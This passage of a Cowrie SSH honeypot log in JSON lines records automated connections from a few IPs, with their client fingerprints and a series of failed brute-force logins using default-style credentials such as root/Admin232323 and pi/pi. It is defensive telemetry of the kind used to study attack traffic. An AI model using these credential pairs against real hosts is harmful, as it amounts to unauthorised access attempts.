dsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:12.013054Z","src_ip":"27.71.230.31","session":"667a85dfb77d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:12.223356Z","src_ip":"91.92.42.133","session":"03aa989a05eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:12.227237Z","src_ip":"91.92.42.133","session":"03aa989a05eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48616,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0b7d4dbac65","protocol":"ssh","message":"New connection: 91.92.40.171:48616 (159.203.135.109:22) [session: d0b7d4dbac65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:13.833734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:13.899744Z","src_ip":"91.92.40.171","session":"d0b7d4dbac65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:13.991832Z","src_ip":"91.92.40.171","session":"d0b7d4dbac65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin232323","message":"login attempt [root/Admin232323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:14.165936Z","src_ip":"27.71.230.31","session":"667a85dfb77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:14.268584Z","src_ip":"91.92.42.133","session":"03aa989a05eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:14.425421Z","src_ip":"91.92.40.171","session":"d0b7d4dbac65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:15.601728Z","src_ip":"91.92.40.171","session":"d0b7d4dbac65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:15.764450Z","src_ip":"91.92.42.133","session":"03aa989a05eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:17.575484Z","src_ip":"27.71.230.31","session":"667a85dfb77d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52742,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dbbd705c39d","protocol":"ssh","message":"New connection: 91.92.40.171:52742 (159.203.135.109:22) [session: 1dbbd705c39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:19.284386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:19.482358Z","src_ip":"91.92.40.171","session":"1dbbd705c39d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:19.485767Z","src_ip":"91.92.40.171","session":"1dbbd705c39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:20.268742Z","src_ip":"91.92.40.171","session":"1dbbd705c39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60486,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b9967d3e88","protocol":"ssh","message":"New connection: 91.92.42.133:60486 (159.203.135.109:22) [session: 74b9967d3e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:20.352500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:20.465194Z","src_ip":"91.92.42.133","session":"74b9967d3e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:20.470527Z","src_ip":"91.92.42.133","session":"74b9967d3e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:21.456618Z","src_ip":"91.92.40.171","session":"1dbbd705c39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:21.636350Z","src_ip":"91.92.42.133","session":"74b9967d3e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:22.828997Z","src_ip":"91.92.42.133","session":"74b9967d3e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47054,"dst_ip":"159.203.135.109","dst_port":22,"session":"eebc779d6f8b","protocol":"ssh","message":"New connection: 91.92.40.171:47054 (159.203.135.109:22) [session: eebc779d6f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:25.560816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:25.601568Z","src_ip":"91.92.40.171","session":"eebc779d6f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:25.705697Z","src_ip":"91.92.40.171","session":"eebc779d6f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:26.062567Z","src_ip":"91.92.40.171","session":"eebc779d6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:27.229350Z","src_ip":"91.92.40.171","session":"eebc779d6f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54190,"dst_ip":"159.203.135.109","dst_port":22,"session":"d96d266e179d","protocol":"ssh","message":"New connection: 91.92.42.133:54190 (159.203.135.109:22) [session: d96d266e179d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:27.854181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:27.934993Z","src_ip":"91.92.42.133","session":"d96d266e179d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:28.027849Z","src_ip":"91.92.42.133","session":"d96d266e179d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:28.904602Z","src_ip":"91.92.42.133","session":"d96d266e179d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:30.106407Z","src_ip":"91.92.42.133","session":"d96d266e179d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47086,"dst_ip":"159.203.135.109","dst_port":22,"session":"49d78037ba0a","protocol":"ssh","message":"New connection: 91.92.40.171:47086 (159.203.135.109:22) [session: 49d78037ba0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:31.564915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:31.667942Z","src_ip":"91.92.40.171","session":"49d78037ba0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:31.671411Z","src_ip":"91.92.40.171","session":"49d78037ba0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:32.337690Z","src_ip":"91.92.40.171","session":"49d78037ba0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:33.443121Z","src_ip":"91.92.40.171","session":"49d78037ba0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47218,"dst_ip":"159.203.135.109","dst_port":22,"session":"968eb548cf86","protocol":"ssh","message":"New connection: 91.92.42.133:47218 (159.203.135.109:22) [session: 968eb548cf86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:35.418218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:35.750971Z","src_ip":"91.92.42.133","session":"968eb548cf86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:35.761367Z","src_ip":"91.92.42.133","session":"968eb548cf86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"test","message":"login attempt [appuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:37.349320Z","src_ip":"91.92.42.133","session":"968eb548cf86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:38.629117Z","src_ip":"91.92.42.133","session":"968eb548cf86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41280,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c7fe98e720","protocol":"ssh","message":"New connection: 91.92.40.171:41280 (159.203.135.109:22) [session: 22c7fe98e720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:39.061960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:39.066548Z","src_ip":"91.92.40.171","session":"22c7fe98e720","protocol":"ssh"}
